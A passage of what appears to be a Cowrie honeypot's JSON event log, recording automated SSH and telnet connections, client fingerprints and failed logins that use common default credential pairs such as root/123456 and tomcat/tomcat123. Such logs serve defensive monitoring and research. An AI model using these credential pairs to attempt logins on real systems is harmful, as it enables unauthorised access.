sa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:56.498204Z","src_ip":"176.65.139.103","session":"d3c85d9dbdde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:56.746889Z","src_ip":"176.65.139.103","session":"d3c85d9dbdde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:56.825167Z","src_ip":"103.176.20.115","session":"cb0e2b2118bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:49:57.860457Z","src_ip":"176.65.139.103","session":"d3c85d9dbdde","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44610,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba565c11788f","protocol":"ssh","message":"New connection: 176.65.139.103:44610 (10.17.0.5:22) [session: ba565c11788f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:02.702962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:02.710767Z","src_ip":"176.65.139.103","session":"ba565c11788f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:02.808089Z","src_ip":"176.65.139.103","session":"ba565c11788f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:03.410715Z","src_ip":"176.65.139.103","session":"ba565c11788f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:04.499484Z","src_ip":"176.65.139.103","session":"ba565c11788f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.796266317367554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:08.173641Z","src_ip":"161.97.124.15","session":"7a78fb2273ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":56158,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd5faf9a1bf4","protocol":"ssh","message":"New connection: 176.65.139.103:56158 (10.17.0.5:22) [session: cd5faf9a1bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:09.160618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:09.165248Z","src_ip":"176.65.139.103","session":"cd5faf9a1bf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:09.250025Z","src_ip":"176.65.139.103","session":"cd5faf9a1bf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat123","message":"login attempt [tomcat/tomcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:09.501455Z","src_ip":"176.65.139.103","session":"cd5faf9a1bf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:10.589675Z","src_ip":"176.65.139.103","session":"cd5faf9a1bf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":32964,"dst_ip":"10.17.0.5","dst_port":23,"session":"c531e988894f","protocol":"telnet","message":"New connection: 213.136.75.179:32964 (10.17.0.5:23) [session: c531e988894f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:15.184587Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60114,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bba621036bc","protocol":"ssh","message":"New connection: 176.65.139.103:60114 (10.17.0.5:22) [session: 9bba621036bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:15.430202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:15.436236Z","src_ip":"176.65.139.103","session":"9bba621036bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:15.519858Z","src_ip":"176.65.139.103","session":"9bba621036bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:15.788600Z","src_ip":"176.65.139.103","session":"9bba621036bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":32966,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b8af7c410cd","protocol":"telnet","message":"New connection: 213.136.75.179:32966 (10.17.0.5:23) [session: 6b8af7c410cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:16.014879Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:16.908748Z","src_ip":"176.65.139.103","session":"9bba621036bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.6223042011261,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:20.856413Z","src_ip":"185.26.126.47","session":"6031470e0f84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":58912,"dst_ip":"159.203.135.109","dst_port":23,"session":"9178df9b96ee","protocol":"telnet","message":"New connection: 161.97.124.15:58912 (159.203.135.109:23) [session: 9178df9b96ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:22.812788Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":60140,"dst_ip":"10.17.0.5","dst_port":22,"session":"1951b322915d","protocol":"ssh","message":"New connection: 176.65.139.103:60140 (10.17.0.5:22) [session: 1951b322915d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:22.887464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:22.907720Z","src_ip":"176.65.139.103","session":"1951b322915d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:22.983702Z","src_ip":"176.65.139.103","session":"1951b322915d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:23.326759Z","src_ip":"176.65.139.103","session":"1951b322915d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:24.411000Z","src_ip":"176.65.139.103","session":"1951b322915d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.16452622413635,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:25.242476Z","src_ip":"213.136.75.179","session":"5d3678614b74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42210,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a0e7dbfe980","protocol":"ssh","message":"New connection: 176.65.139.103:42210 (10.17.0.5:22) [session: 4a0e7dbfe980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:29.609638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:29.614068Z","src_ip":"176.65.139.103","session":"4a0e7dbfe980","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:29.721228Z","src_ip":"176.65.139.103","session":"4a0e7dbfe980","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":63097,"dst_ip":"10.17.0.5","dst_port":22,"session":"952504eab03e","protocol":"ssh","message":"New connection: 52.231.220.210:63097 (10.17.0.5:22) [session: 952504eab03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:29.860368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:29.865280Z","src_ip":"52.231.220.210","session":"952504eab03e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:29.988711Z","src_ip":"176.65.139.103","session":"4a0e7dbfe980","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:30.068528Z","src_ip":"52.231.220.210","session":"952504eab03e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste2025","message":"login attempt [root/teste2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:30.881566Z","src_ip":"52.231.220.210","session":"952504eab03e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:31.183740Z","src_ip":"176.65.139.103","session":"4a0e7dbfe980","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:32.080054Z","src_ip":"52.231.220.210","session":"952504eab03e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":37836,"dst_ip":"10.17.0.5","dst_port":22,"session":"518ca63dc4ce","protocol":"ssh","message":"New connection: 176.65.139.103:37836 (10.17.0.5:22) [session: 518ca63dc4ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:37.010492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:37.015130Z","src_ip":"176.65.139.103","session":"518ca63dc4ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:37.097404Z","src_ip":"176.65.139.103","session":"518ca63dc4ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41258,"dst_ip":"159.203.135.109","dst_port":22,"session":"8110b0b60316","protocol":"ssh","message":"New connection: 159.203.92.129:41258 (159.203.135.109:22) [session: 8110b0b60316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:37.219242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:50:37.224014Z","src_ip":"159.203.92.129","session":"8110b0b60316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyA